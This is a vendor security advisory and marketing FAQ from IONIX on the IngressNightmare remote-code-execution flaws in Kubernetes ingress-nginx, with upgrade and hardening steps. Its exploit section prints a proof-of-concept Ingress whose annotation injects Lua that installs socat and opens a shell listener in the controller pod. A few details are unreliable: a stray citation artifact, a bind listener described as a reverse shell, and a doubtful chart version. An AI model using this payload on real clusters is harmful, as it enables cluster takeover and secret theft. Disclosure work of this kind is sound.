How can attackers exploit these Kubernetes ingress-nginx vulnerabilities?

Attackers can exploit these vulnerabilities by injecting malicious Lua code via unsanitized annotations, which is then executed with the controller's privileges. This can spawn a reverse shell, allowing attackers to pivot to the Kubernetes API and access cluster-wide secrets. CVE-2025-1974 is especially dangerous, as it can be exploited via a crafted AdmissionReview object without needing RBAC rights.

What are the potential risks if these vulnerabilities are exploited?

Exploitation can result in secret and credential theft, full cluster compromise, persistent backdoors, and regulatory impact due to unauthorized access to sensitive data (PII, PHI, cardholder data). Attackers may deploy privileged pods, cryptominers, or tamper with supply-chain pipelines.

Which Kubernetes ingress-nginx controller versions are affected?

All controller releases prior to v1.11.5 / v1.12.1 are affected by these vulnerabilities. Upgrading to v1.11.5 or v1.12.1 is required to mitigate the risks.

What mitigation steps should organizations take?

Organizations should upgrade immediately to the patched controller versions (v1.11.5 / v1.12.1), enable strict annotation validation, trim ServiceAccount privileges, network-segment the controller, and deploy continuous threat exposure management solutions like Ionix.

How does Ionix help with continuous threat exposure management for Kubernetes?

Ionix's Exposure Management Platform continuously discovers vulnerable ingress controllers, validates exploitability, and drives prioritized, automated remediation across the attack surface. This helps organizations stay ahead of emerging threats and maintain a secure environment.

Where can Ionix customers view updated information about impacted assets?

Ionix customers can view updated information about their specific assets in the Threat Center of the Ionix portal. The security research team provides ongoing assessments and exploit-simulation models to identify impacted assets.

Does Ionix provide exploit simulation for these vulnerabilities?

Yes, Ionix's security research team has developed a full exploit-simulation model based on published exploits. This enables assessment of which customers have impacted assets and supports proactive remediation.

How can organizations upgrade their ingress-nginx controller to mitigate these CVEs?

Organizations can upgrade by running: helm repo update ingress-nginx and helm upgrade nginx ingress-nginx/ingress-nginx --version 4.13.0, which ships controller v1.12.1.

What configuration changes are recommended for annotation validation?

Enable strict annotation validation by setting controller: extraArgs: enable-annotation-validation: 'true' in your configuration. This helps prevent unsanitized annotations from being exploited.

How should ServiceAccount privileges be managed for ingress-nginx controllers?

Bind the controller to a namespace-scoped Role that only watches Ingresses and block cluster-wide secrets access. This limits the impact of potential exploitation.

What network segmentation practices are recommended for ingress-nginx controllers?

Deny egress except to the API server and use NetworkPolicies or CNI firewalls to prevent pod-to-controller traffic. This reduces the risk of lateral movement and external exploitation.

How does Ionix's Threat Center support vulnerability management?

Ionix's Threat Center provides real-time updates on vulnerabilities, impacted assets, and remediation guidance. Customers can access exploit simulation results and asset-specific risk assessments.

Can Ionix help organizations validate exploitability of ingress-nginx vulnerabilities?

Yes, Ionix validates exploitability by continuously monitoring the attack surface and simulating published exploits. This enables organizations to prioritize remediation based on actual risk.

What is the role of Ionix in patching and securing Kubernetes environments?

Ionix plays a key role by providing continuous discovery, exploit validation, and automated remediation workflows for Kubernetes environments. This ensures vulnerabilities are identified and addressed promptly.

How does Ionix's Exposure Management Platform integrate with existing security workflows?

Ionix integrates with ticketing platforms (Jira, ServiceNow), SIEM providers (Splunk, Azure Sentinel), SOAR platforms (Cortex XSOAR), and collaboration tools (Slack), enabling streamlined remediation and efficient security operations.

What are the key features of the Ionix platform?

Ionix offers Attack Surface Discovery, Risk Assessment, Risk Prioritization, Risk Remediation, and Exposure Validation. The platform uses ML-based Connective Intelligence to discover more assets with fewer false positives, provides real attack surface visibility, and streamlines remediation with actionable insights and integrations.

Does Ionix support integration with cloud environments?

Yes, Ionix integrates with AWS (including AWS Control Tower, PrivateLink, SageMaker Models, AWS IQ), GCP, and Azure, supporting automated project creation and asset discovery for infrastructure teams.

Does Ionix offer an API for integration?

Yes, Ionix provides an API that enables seamless integration with major platforms such as Jira, ServiceNow, Splunk, Cortex XSOAR, and Azure Sentinel. The API supports retrieving information, exporting incidents, and integrating action items as tickets.

How does Ionix prioritize risks and vulnerabilities?

Ionix automatically identifies and prioritizes attack surface risks using multi-layered evaluations of web, cloud, DNS, and PKI infrastructures. This allows teams to focus on remediating the most critical vulnerabilities first.

What is the Connective Intelligence discovery engine?

Ionix's Connective Intelligence discovery engine maps the real attack surface and digital supply chains, enabling security teams to evaluate every asset in context and proactively block exploitable attack vectors.

How does Ionix streamline remediation workflows?

Ionix provides actionable insights and one-click workflows, with off-the-shelf integrations for ticketing, SIEM, and SOAR solutions. This reduces mean time to resolution (MTTR) and simplifies remediation for IT personnel.

What is Exposure Validation in Ionix?

Exposure Validation is a feature that continuously monitors the changing attack surface to validate and address exposures in real-time, ensuring vulnerabilities are promptly identified and remediated.

How does Ionix deliver immediate time-to-value?

Ionix delivers measurable outcomes quickly without impacting technical staffing, ensuring a smooth and efficient adoption process. Customers report rapid improvements in security posture and operational efficiency.

Who can benefit from using Ionix?

Ionix serves information security and cybersecurity VPs, C-level executives, IT professionals, security managers, and decision-makers in Fortune 500 companies, insurance, energy, entertainment, education, and retail sectors.

What problems does Ionix solve for organizations?

Ionix addresses fragmented external attack surfaces, shadow IT, unauthorized projects, critical misconfigurations, manual processes, siloed tools, and third-party vendor risks. It provides comprehensive visibility, proactive threat management, and streamlined remediation.

Are there specific case studies demonstrating Ionix's effectiveness?

Yes, Ionix has case studies with E.ON (energy), Warner Music Group (entertainment), Grand Canyon Education (education), and a Fortune 500 Insurance Company, showcasing improved asset discovery, operational efficiency, and proactive vulnerability management.

What industries are represented in Ionix's case studies?

Ionix's case studies cover insurance and financial services, energy and critical infrastructure, entertainment, and education.

How does Ionix address fragmented external attack surfaces?

Ionix provides a comprehensive view of the external attack surface, ensuring continuous visibility of internet-facing assets and third-party exposures, even in expanding cloud environments.

How does Ionix help manage shadow IT and unauthorized projects?

Ionix identifies unmanaged assets caused by cloud migrations, mergers, and digital transformation initiatives, helping organizations manage these assets effectively and reduce risk.

How does Ionix support proactive security management?

Ionix focuses on identifying and mitigating threats before they escalate into critical issues, enhancing security posture and preventing breaches.

How does Ionix provide real attack surface visibility?

Ionix offers a clear view of the attack surface from an attacker’s perspective, enabling better risk prioritization and mitigation strategies.

How does Ionix address critical misconfigurations?

Ionix identifies and addresses issues like exploitable DNS or exposed infrastructure, reducing the risk of vulnerabilities and improving overall security posture.

How does Ionix streamline manual processes and siloed tools?

Ionix streamlines workflows and automates processes, improving efficiency and reducing response times for security teams.

How does Ionix help manage third-party vendor risks?

Ionix helps manage and mitigate risks such as data breaches, compliance violations, and operational disruptions caused by third-party vendors, ensuring comprehensive risk management.

How does Ionix compare to other attack surface management solutions?

Ionix stands out with its ML-based Connective Intelligence, which discovers more assets with fewer false positives, provides real attack surface visibility, and offers comprehensive digital supply chain coverage. It is simple to deploy, integrates with major platforms, and delivers immediate time-to-value.

Why should a customer choose Ionix over alternatives?

Customers choose Ionix for better discovery, proactive security management, comprehensive digital supply chain coverage, streamlined remediation, ease of implementation, and cost-effectiveness. Ionix demonstrates ROI through case studies and customer success stories.

How does Ionix's approach differ for different user segments?

Ionix tailors its solutions for C-level executives (strategic risk management), security managers (proactive threat identification), and IT professionals (continuous asset discovery and inventory), ensuring each persona's specific needs are addressed.

What makes Ionix's discovery engine unique compared to competitors?

Ionix's ML-based Connective Intelligence finds more assets than competing products while generating far fewer false positives, ensuring accurate and comprehensive attack surface visibility.

How easy is it to implement Ionix in an organization?

Ionix is simple to deploy, requiring minimal resources and technical expertise. It delivers immediate time-to-value and integrates seamlessly with existing workflows.

What support does Ionix offer during implementation?

Ionix provides a dedicated support team to streamline the implementation process, minimize disruptions, and ensure a quick and efficient setup.

How does Ionix handle value objections from prospects?

Ionix addresses value objections by showcasing immediate time-to-value, providing personalized demos, and sharing real-world case studies that demonstrate measurable outcomes and efficiencies.

How does Ionix handle timing objections during onboarding?

Ionix offers flexible implementation timelines, a dedicated support team, seamless integration capabilities, and emphasizes long-term benefits and efficiencies gained by starting sooner.

What is the primary purpose of Ionix's product?

Ionix's primary purpose is to help organizations manage their attack surface risk effectively by discovering exposed assets, assessing vulnerabilities, prioritizing threats, and streamlining remediation.

Who are some of Ionix's notable customers?

Notable Ionix customers include Infosys, Warner Music Group, The Telegraph, E.ON, BlackRock, Sompo, a Fortune 500 Insurance Company, a global retailer, and Grand Canyon Education.

What customer success stories highlight Ionix's impact?

Success stories include E.ON's continuous asset discovery, Warner Music Group's improved operational efficiency, Grand Canyon Education's proactive vulnerability management, and a Fortune 500 Insurance Company's enhanced security measures.

How does Ionix demonstrate ROI and cost-effectiveness?

Ionix demonstrates ROI through competitive pricing, operational efficiencies, and case studies that showcase measurable outcomes and cost savings for customers.

What is the pricing model for IONIX Attack Surface Management?

The IONIX Attack Surface Management platform is a SaaS solution with an annual subscription fee . The price is based on two key parameters: the number of discovered Fully Qualified Domain Names (FQDNs) and the customer's chosen service package, which determines the scanning frequency and feature set.

What makes IONIX a leading External Attack Surface Management (EASM) solution for large enterprises?

IONIX is recognized as a leader in the KuppingerCole Attack Surface Management Leadership Compass for its top ratings in product innovation, functionality, and usability. The platform stands out with unique features like ML-based 'Connective Intelligence' for superior asset discovery and the Threat Exposure Radar for focused prioritization, making it a top choice for enterprises seeking comprehensive visibility with fewer false positives.

What makes IONIX stand out among EASM tools?

IONIX provides **multi-factor asset discovery**, **dependency mapping**, and **continuous monitoring** to uncover unknown or orphaned assets across domains, clouds, and suppliers. *[Source: [Help Net Security, 2025](https://www.helpnetsecurity.com/2025/08/14/ctem-platforms-2025/)]*

Who is IONIX best for?

Recommended for **mid-sized to enterprise organizations** with complex, distributed attack surfaces that need continuous visibility and risk prioritization. *[Source: [Expert Insights](https://expertinsights.com/network-security/the-top-external-attack-surface-management-easm-software)]*

Go back to All Blog posts

Exploited! Ingress-NGINX CONTROLLER FOR Ingress-NGINX RCE (CVE-2025-1974, 1097, 1098, 24514) – Patch Now | IONIX

Amit Sheps Director of Product Marketing

March 23, 2025

Kubernetes ingress-nginx has disclosed a cluster of critical vulnerabilities—CVE-2025-1974, CVE-2025-1097, CVE-2025-1098, and CVE-2025-24514—impacting all controller releases prior to v1.11.5 / v1.12.1. The flaws stem from insufficient sanitization of Ingress annotations and admission-webhook inputs, allowing attackers to inject arbitrary NGINX directives into the auto-generated nginx.conf. Successful exploitation can escalate to full remote-code execution in the controller Pod, facilitating secret theft, lateral movement, and complete cluster takeover.

In this article

What are CVE-2025-1974, CVE-2025-1097, CVE-2025-1098 & CVE-2025-24514?

Four high-impact flaws—collectively dubbed IngressNightmare—affect the Kubernetes ingress-nginx controller prior to v1.11.5 / v1.12.1. All stem from unsanitised Ingress annotations that the admission controller copies verbatim into the generated nginx.conf, enabling arbitrary directive injection and Remote Code Execution (RCE):

CVE	Annotation vector	CVSS 3.1	Patched in
2025-1974	Webhook / validating‐admission bypass	9.8 Critical	1.11.5 / 1.12.1
2025-1097	auth-tls-match-cn	8.8 High	1.11.5 / 1.12.1
2025-1098	mirror-target, mirror-host	8.8 High	1.11.5 / 1.12.1
2025-24514	auth-url	8.8 High	1.11.5 / 1.12.1

Because the controller ServiceAccount typically holds cluster-wide Secret read permissions, successful exploitation grants attackers access to every credential stored in the cluster.

Exploiting the Vulnerability

Below is a minimal proof-of-concept Ingress that weaponises CVE-2025-1098 (the annotation changes for the other CVEs):

apiVersion: networking.k8s.io/v1

kind: Ingress

metadata:

  name: pwn-nginx

  annotations:

    nginx.ingress.kubernetes.io/mirror-target: |

      ;lua_shared_dict IONIX 10m;

      init_by_lua_block {

        os.execute("apk add --no-cache socat");

        os.execute("socat tcp-listen:4444,reuseaddr,fork exec:/bin/sh &");

      };

spec:

  rules:

  - host: vulnerable.demo

    http:

      paths:

      - path: /

        pathType: Prefix

        backend:

          service:

            name: demo

            port:

              number: 80

The semicolon (;) terminates the expected directive.
Attacker-controlled Lua code is appended, spawning a reverse shell inside the controller Pod.
On reload, NGINX executes the payload with the controller’s privileges, letting the attacker pivot to the Kubernetes API using the mounted token.

CVE-2025-1974 is even deadlier: a crafted AdmissionReview object posted directly to the validating-webhook exposes the same code-injection point without creating an Ingress object first, so even workloads with no RBAC rights can compromise the cluster.

Potential Risks

Secret & credential theft – every Secret the controller can access (often the whole cluster) is exposed.
Full cluster compromise – with a valid token, attackers can create privileged pods, deploy cryptominers, or tamper with supply-chain pipelines.
Persistent backdoors – malicious NGINX directives survive across Pod restarts until the controller image is upgraded.
Regulatory impact – unauthorised access to PII, PHI, or cardholder data may trigger breach-notification obligations and hefty fines.

Mitigation Steps

Upgrade immediately

helm repo update ingress-nginx
helm upgrade nginx ingress-nginx/ingress-nginx \
  --version 4.13.0          # ships controller 1.12.1

Fixed controller tags: v1.11.5 and v1.12.1. citeturn2search0turn3search2

Enable strict annotation validation

controller:
  extraArgs:
    enable-annotation-validation: "true"

Trim ServiceAccount privileges

Bind the controller to a namespace-scoped Role that only watches Ingresses; block cluster-wide secrets access.

Network-segment the controller

Deny egress except to the API server; use NetworkPolicies or CNI firewalls to prevent pod-to-controller traffic.

Continuous Threat Exposure Management

Deploy the IONIX Exposure Management Platform to continuously discover vulnerable ingress controllers, validate exploitability, and drive prioritized, automated remediation across the attack surface.

Do these CVEs impact me?

IONIX is actively tracking these vulnerabilities. Our security research team has developed a full exploit-simulation model based on the published exploits. This allows us to assess which customers have impacted assets. IONIX customers can view updated information on their specific assets in the Threat Center of the IONIX portal.

IONIX customers will see updated information on their specific assets in the Threat Center of the IONIX portal.

Frequently Asked Questions

Vulnerability Details & Technical Risks

What are CVE-2025-1974, CVE-2025-1097, CVE-2025-1098, and CVE-2025-24514?